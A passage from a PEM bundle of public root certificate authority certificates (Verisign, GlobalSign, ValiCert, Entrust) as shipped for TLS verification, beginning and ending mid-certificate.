dCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCq0Lq+Fi24g9TK0g+8djHKlNgd k4xWArzZbxpvUjZudVYKVdPfQ4chEWWKfo+9Id5rMj8bhDSVBZ1BNeuS65bdqlk/AVNtmU/t5eIq WpDBucSmFc/IReumXY6cPvBkJHalzasab7bYe1FhbqZ/h8jit+U03EGI6glAvnOSPWvndQIDAQAB MA0GCSqGSIb3DQEBBQUAA4GBAKlPww3HZ74sy9mozS11534Vnjty637rXC0Jh9ZrbWB85a7FkCMM XErQr7Fd88e2CtvgFZMN3QO8x3aKtd1Pw5sTdbgBwObJW2uluIncrKTdcu1OofdPvAbT6shkdHvC lUGcZXNY8ZCaPGqxmMnEh7zPRW1F4m4iP/68DzFc6PLZ -----END CERTIFICATE----- Verisign Class 2 Public Primary Certification Authority - G2 ============================================================ -----BEGIN CERTIFICATE----- MIIDAzCCAmwCEQC5L2DMiJ+hekYJuFtwbIqvMA0GCSqGSIb3DQEBBQUAMIHBMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xPDA6BgNVBAsTM0NsYXNzIDIgUHVibGljIFByaW1h cnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjE6MDgGA1UECxMxKGMpIDE5OTggVmVyaVNp Z24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1 c3QgTmV0d29yazAeFw05ODA1MTgwMDAwMDBaFw0yODA4MDEyMzU5NTlaMIHBMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xPDA6BgNVBAsTM0NsYXNzIDIgUHVibGljIFByaW1h cnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjE6MDgGA1UECxMxKGMpIDE5OTggVmVyaVNp Z24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1 c3QgTmV0d29yazCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAp4gBIXQs5xoD8JjhlzwPIQjx nNuX6Zr8wgQGE75fUsjMHiwSViy4AWkszJkfrbCWrnkE8hM5wXuYuggs6MKEEyyqaekJ9MepAqRC wiNPStjwDqL7MWzJ5m+ZJwf15vRMeJ5t60aG+rmGyVTyssSv1EYcWskVMP8NbPUtDm3Of3cCAwEA ATANBgkqhkiG9w0BAQUFAAOBgQByLvl/0fFx+8Se9sVeUYpAmLho+Jscg9jinb3/7aHmZuovCfTK 1+qlK5X2JGCGTUQug6XELaDTrnhpb3LabK4I8GOSN+a7xDAXrXfMSTWqz9iP0b63GJZHc2pUIjRk LbYWm1lbtFFZOrMLFPQS32eg9K0yZF6xRnInjBJ7xUS0rg== -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority - G2 ============================================================ -----BEGIN CERTIFICATE----- MIIDAjCCAmsCEH3Z/gfPqB63EHln+6eJNMYwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMB4XDTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMXtERXVxp0KvTuWpMmR9ZmDCO FoUgRm1HP9SFIIThbbP4pO0M8RcPO/mn+SXXwc+EY/J8Y8+iR/LGWzOOZEAEaMGAuWQcRXfH2G71 lSk8UOg013gfqLptQ5GVj0VXXn7F+8qkBOvqlzdUMG+7AUcyM83cV5tkaWH4mx0ciU9cZwIDAQAB MA0GCSqGSIb3DQEBBQUAA4GBAFFNzb5cy5gZnBWyATl4Lk0PZ3BwmcYQWpSkU01UbSuvDV1Ai2TT 1+7eVmGSX6bEHRBhNtMsJzzoKQm5EWR0zLVznxxIqbxhAe7iF6YM40AIOw7n60RzKprxaZLvcRTD Oaxxp5EJb+RxBrO6WVcmeQD2+A2iMzAo1KpYoJ2daZH9 -----END CERTIFICATE----- GlobalSign Root CA ================== -----BEGIN CERTIFICATE----- MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQkUx GTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkds b2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAwMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNV BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYD VQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa DuaZjc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6sc THAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4bwY8iGlb Kk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVtbNV4FpWi6cgKOOvyJBNP c1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrX gzT/LCrBbBlDSgeF59N89iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUF AAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOzyj1hTdNGCbM+w6Dj Y1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE38NflNUVyRRBnMRddWQVDf9VMOyG j/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymPAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhH hm4qxFYxldBniYUr+WymXUadDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveC X4XSQRjbgbMEHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A== -----END CERTIFICATE----- GlobalSign Root CA - R2 ======================= -----BEGIN CERTIFICATE----- MIIDujCCAqKgAwIBAgILBAAAAAABD4Ym5g0wDQYJKoZIhvcNAQEFBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDYxMjE1MDgwMDAwWhcNMjExMjE1MDgwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKbPJA6+Lm8omUVCxKs+IVSbC9N/hHD6 ErPLv4dfxn+G07IwXNb9rfF73OX4YJYJkhD10FPe+3t+c4isUoh7SqbKSaZeqKeMWhG8eoLrvozp s6yWJQeXSpkqBy+0Hne/ig+1AnwblrjFuTosvNYSuetZfeLQBoZfXklqtTleiDTsvHgMCJiEbKjN S7SgfQx5TfC4LcshytVsW33hoCmEofnTlEnLJGKRILzdC9XZzPnqJworc5HGnRusyMvo4KD0L5CL TfuwNhv2GXqF4G3yYROIXJ/gkwpRl4pazq+r1feqCapgvdzZX99yqWATXgAByUr6P6TqBwMhAo6C ygPCm48CAwEAAaOBnDCBmTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E FgQUm+IHV2ccHsBqBt5ZtJot39wZhi4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5nbG9i YWxzaWduLm5ldC9yb290LXIyLmNybDAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjAN BgkqhkiG9w0BAQUFAAOCAQEAmYFThxxol4aR7OBKuEQLq4GsJ0/WwbgcQ3izDJr86iw8bmEbTUsp 9Z8FHSbBuOmDAGJFtqkIk7mpM0sYmsL4h4hO291xNBrBVNpGP+DTKqttVCL1OmLNIG+6KYnX3ZHu 01yiPqFbQfXf5WRDLenVOavSot+3i9DAgBkcRcAtjOj4LaR0VknFBbVPFd5uRHg5h6h+u/N5GJG7 9G+dwfCMNYxdAfvDbbnvRG15RjF+Cv6pgsH/76tuIMRQyV+dTZsXjAzlAcmgQWpzU/qlULRuJQ/7 TBj0/VLZjmmx6BEP3ojY+x1J96relc8geMJgEtslQIxq/H5COEBkEveegeGTLg== -----END CERTIFICATE----- ValiCert Class 1 VA =================== -----BEGIN CERTIFICATE----- MIIC5zCCAlACAQEwDQYJKoZIhvcNAQEFBQAwgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRp b24gTmV0d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENs YXNzIDEgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZh bGljZXJ0LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMB4XDTk5MDYyNTIy MjM0OFoXDTE5MDYyNTIyMjM0OFowgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRpb24gTmV0 d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENsYXNzIDEg UG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZhbGljZXJ0 LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDYWYJ6ibiWuqYvaG9YLqdUHAZu9OqNSLwxlBfw8068srg1knaw0KWlAdcAAxIi GQj4/xEjm84H9b9pGib+TunRf50sQB1ZaG6m+FiwnRqP0z/x3BkGgagO4DrdyFNFCQbmD3DD+kCm DuJWBQ8YTfwggtFzVXSNdnKgHZ0dwN0/cQIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAFBoPUn0LBwG lN+VYH+Wexf+T3GtZMjdd9LvWVXoP+iOBSoh8gfStadS/pyxtuJbdxdA6nLWI8sogTLDAHkY7FkX icnGah5xyf23dKUlRWnFSKsZ4UWKJWsZ7uW7EvV/96aNUcPwnXS3qT6gpf+2SQMT2iLM7XGCK5nP Orf1LXLI -----END CERTIFICATE----- ValiCert Class 2 VA =================== -----BEGIN CERTIFICATE----- MIIC5zCCAlACAQEwDQYJKoZIhvcNAQEFBQAwgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRp b24gTmV0d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENs YXNzIDIgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZh bGljZXJ0LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMB4XDTk5MDYyNjAw MTk1NFoXDTE5MDYyNjAwMTk1NFowgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRpb24gTmV0 d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENsYXNzIDIg UG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZhbGljZXJ0 LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDOOnHK5avIWZJV16vYdA757tn2VUdZZUcOBVXc65g2PFxTXdMwzzjsvUGJ7SVC CSRrCl6zfN1SLUzm1NZ9WlmpZdRJEy0kTRxQb7XBhVQ7/nHk01xC+YDgkRoKWzk2Z/M/VXwbP7Rf ZHM047QSv4dk+NoS/zcnwbNDu+97bi5p9wIDAQABMA0GCSqGSIb3DQEBBQUAA4GBADt/UG9vUJSZ SWI4OB9L+KXIPqeCgfYrx+jFzug6EILLGACOTb2oWH+heQC1u+mNr0HZDzTuIYEZoDJJKPTEjlbV UjP9UNV+mWwD5MlM/Mtsq2azSiGM5bUMMj4QssxsodyamEwCW/POuZ6lcg5Ktz885hZo+L7tdEy8 W9ViH0Pd -----END CERTIFICATE----- RSA Root Certificate 1 ====================== -----BEGIN CERTIFICATE----- MIIC5zCCAlACAQEwDQYJKoZIhvcNAQEFBQAwgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRp b24gTmV0d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENs YXNzIDMgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZh bGljZXJ0LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMB4XDTk5MDYyNjAw MjIzM1oXDTE5MDYyNjAwMjIzM1owgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRpb24gTmV0 d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENsYXNzIDMg UG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZhbGljZXJ0 LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDjmFGWHOjVsQaBalfDcnWTq8+epvzzFlLWLU2fNUSoLgRNB0mKOCn1dzfnt6td 3zZxFJmP3MKS8edgkpfs2Ejcv8ECIMYkpChMMFp2bbFc893enhBxoYjHW5tBbcqwuI4V7q0zK89H BFx1cQqYJJgpp0lZpd34t0NiYfPT4tBVPwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAFa7AliEZwgs 3x/be0kz9dNnnfS0ChCzycUs4pJqcXgn8nCDQtM+z6lU9PHYkhaM0QTLS6vJn0WuPIqpsHEzXcjF V9+vqDWzf4mH6eglkrh/hXqu1rweN1gqZ8mRzyqBPu3GOd/APhmcGcwTTYJBtYze4D1gCCAPRX5r on+jjBXu -----END CERTIFICATE----- Verisign Class 1 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGjCCAwICEQCLW3VWhFSFCwDPrzhIzrGkMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDEgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDEgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAN2E1Lm0+afY8wR4nN493GwTFtl63SRRZsDHJlkNrAYIwpTRMx/wgzUfbhvI3qpuFU5UJ+/E bRrsC+MO8ESlV8dAWB6jRx9x7GD2bZTIGDnt/kIYVt/kTEkQeE4BdjVjEjbdZrwBBDajVWjVojYJ rKshJlQGrT/KFOCsyq0GHZXi+J3x4GD/wn91K0zM2v6HmSHquv4+VNfSWXjbPG7PoBMAGrgnoeS+ Z5bKoMWznN3JdZ7rMJpfo83ZrngZPyPpXNspva1VyBtUjGP26KbqxzcSXKMpHgLZ2x87tNcPVkeB FQRKr4Mn0cVYiMHd9qqnoxjaaKptEVHhv2Vrn5Z20T0CAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA q2aN17O6x5q25lXQBfGfMY1aqtmqRiYPce2lrVNWYgFHKkTp/j90CxObufRNG7LRX7K20ohcs5/N y9Sn2WCVhDr4wTcdYcrnsMXlkdpUpqwxga6X3s0IrLjAl4B/bnKk52kTlWUfxJM8/XmPBNQ+T+r3 ns7NZ3xPZQL/kYVUc8f/NveGLezQXk//EZ9yBta4GvFMDSZl4kSAHsef493oCtrspSCAaWihT37h a88HQfqDjrw43bAuEbFrskLMmrz5SCJ5ShkPshw+IHTZasO+8ih4E1Z5T21Q6huwtVexN2ZYI/Pc D98Kh8TvhgXVOBRgmaNL3gaWcSzy27YfpO8/7g== -----END CERTIFICATE----- Verisign Class 2 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGTCCAwECEGFwy0mMX5hFKeewptlQW3owDQYJKoZIhvcNAQEFBQAwgcoxCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ug b25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMiBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0 aW9uIEF1dGhvcml0eSAtIEczMB4XDTk5MTAwMTAwMDAwMFoXDTM2MDcxNjIzNTk1OVowgcoxCzAJ BgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1 c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9y aXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMiBQdWJsaWMgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC AQEArwoNwtUs22e5LeWUJ92lvuCwTY+zYVY81nzD9M0+hsuiiOLh2KRpxbXiv8GmR1BeRjmL1Za6 tW8UvxDOJxOeBUebMXoT2B/Z0wI3i60sR/COgQanDTAM6/c8DyAd3HJG7qUCyFvDyVZpTMUYwZF7 C9UTAJu878NIPkZgIIUq1ZC2zYugzDLdt/1AVbJQHFauzI13TccgTacxdu9okoqQHgiBVrKtaaNS 0MscxCM9H5n+TOgWY47GCI72MfbS+uV23bUckqNJzc0BzWjNqWm6o+sdDZykIKbBoMXRRkwXbdKs Zj+WjOCE1Db/IlnF+RFgqF8EffIa9iVCYQ/ESrg+iQIDAQABMA0GCSqGSIb3DQEBBQUAA4IBAQA0 JhU8wI1NQ0kdvekhktdmnLfexbjQ5F1fdiLAJvmEOjr5jLX77GDx6M4EsMjdpwOPMPOY36TmpDHf 0xwLRtxyID+u7gU8pDM/CzmscHhzS5kr3zDCVLCoO1Wh/hYozUK9dG6A2ydEp85EXdQbkJgNHkKU sQAsBNB0owIFImNjzYO1+8FtYmtpdf1dcEG59b98377BMnMiIYtYgXsVkXq642RIsH/7NiXaldDx JBQX3RiAa0YjOVT1jmIJBB2UkKab5iXiQkWquJCtvgiPqQtCGJTPcjnhsUPgKM+351psE2tJs//j GHyJizNdrDPXp/naOlXJWBD5qu9ats9LS98q -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAMu6nFL8eB8aHm8bN3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1 EUGO+i2tKmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGukxUc cLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBmCC+Vk7+qRy+oRpfw EuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJXwzw3sJ2zq/3avL6QaaiMxTJ5Xpj 055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWuimi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA ERSWwauSCPc/L8my/uRan2Te2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5f j267Cz3qWhMeDGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC /Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565pF4ErWjfJXir0 xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGtTxzhT5yvDwyd93gN2PQ1VoDa t20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ== -----END CERTIFICATE----- Verisign Class 4 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGjCCAwICEQDsoKeLbnVqAc/EfMwvlF7XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDQgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDQgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAK3LpRFpxlmr8Y+1GQ9Wzsy1HyDkniYlS+BzZYlZ3tCD5PUPtbut8XzoIfzk6AzufEUiGXaS tBO3IFsJ+mGuqPKljYXCKtbeZjbSmwL0qJJgfJxptI8kHtCGUvYynEFYHiK9zUVilQhu0GbdU6LM 8BDcVHOLBKFGMzNcF0C5nk3T875Vg+ixiY5afJqWIpA7iCXy0lOIAgwLePLmNxdLMEYH5IBtptiW Lugs+BGzOA1mppvqySNb247i8xOOGlktqgLw7KSHZtzBP/XYufTsgsbSPZUd5cBPhMnZo0QoBmrX Razwa2rvTl/4EYIeOGM0ZlDUPpNz+jDDZq3/ky2X7wMCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA j/ola09b5KROJ1WrIhVZPMq1CtRK26vdoV9TxaBXOcLORyu+OshWv8LZJxA6sQU8wHcxuzrTBXtt mhwwjIDLk5Mqg6sFUYICABFna/OIYUdfA5PVWw3g8dShMjWFsjrbsIKr0csKvE+MW8VLADsfKoKm fjaF3H48ZwC15DtS4KjrXRX5xm3wrR0OhbepmnMUWluPQSjA1egtTaRezarZ7c7c2NU8Qh0XwRJd RTjDOPP8hS6DRkiy1yBfkjaP53kPmF6Z6PDQpLv1U70qzlmwr25/bLvSHgCwIe34QWKCudiyxLtG UPMxxY8BqHTr9Xgn2uf3ZkPznoM+IKrDNWCRzg== -----END CERTIFICATE----- Entrust.net Secure Server CA ============================ -----BEGIN CERTIFICATE----- MIIE2DCCBEGgAwIBAgIEN0rSQzANBgkqhkiG9w0BAQUFADCBwzELMAkGA1UEBhMCVVMxFDASBgNV BAoTC0VudHJ1c3QubmV0MTswOQYDVQQLEzJ3d3cuZW50cnVzdC5uZXQvQ1BTIGluY29ycC4gYnkg cmVmLiAobGltaXRzIGxpYWIuKTElMCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRl ZDE6MDgGA1UEAxMxRW50cnVzdC5uZXQgU2VjdXJlIFNlcnZlciBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eTAeFw05OTA1MjUxNjA5NDBaFw0xOTA1MjUxNjM5NDBaMIHDMQswCQYDVQQGEwJVUzEUMBIG A1UEChMLRW50cnVzdC5uZXQxOzA5BgNVBAsTMnd3dy5lbnRydXN0Lm5ldC9DUFMgaW5jb3JwLiBi eSByZWYuIChsaW1pdHMgbGlhYi4pMSUwIwYDVQQLExwoYykgMTk5OSBFbnRydXN0Lm5ldCBMaW1p dGVkMTowOAYDVQQDEzFFbnRydXN0Lm5ldCBTZWN1cmUgU2VydmVyIENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDNKIM0VBuJ8w+vN5Ex/68xYMmo6LIQ aO2f55M28Qpku0f1BBc/I0dNxScZgSYMVHINiC3ZH5oSn7yzcdOAGT9HZnuMNSjSuQrfJNqc1lB5 gXpa0zf3wkrYKZImZNHkmGw6AIr1NJtl+O3jEP/9uElY3KDegjlrgbEWGWG5VLbmQwIBA6OCAdcw ggHTMBEGCWCGSAGG+EIBAQQEAwIABzCCARkGA1UdHwSCARAwggEMMIHeoIHboIHYpIHVMIHSMQsw CQYDVQQGEwJVUzEUMBIGA1UEChMLRW50cnVzdC5uZXQxOzA5BgNVBAsTMnd3dy5lbnRydXN0Lm5l dC9DUFMgaW5jb3JwLiBieSByZWYuIChsaW1pdHMgbGlhYi4pMSUwIwYDVQQLExwoYykgMTk5OSBF bnRydXN0Lm5ldCBMaW1pdGVkMTowOAYDVQQDEzFFbnRydXN0Lm5ldCBTZWN1cmUgU2VydmVyIENl cnRpZmljYXRpb24gQXV0aG9yaXR5MQ0wCwYDVQQDEwRDUkwxMCmgJ6AlhiNodHRwOi8vd3d3LmVu dHJ1c3QubmV0L0NSTC9uZXQxLmNybDArBgNVHRAEJDAigA8xOTk5MDUyNTE2MDk0MFqBDzIwMTkw NTI1MTYwOTQwWjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAU8BdiE1U9s/8KAGv7UISX8+1i0Bow 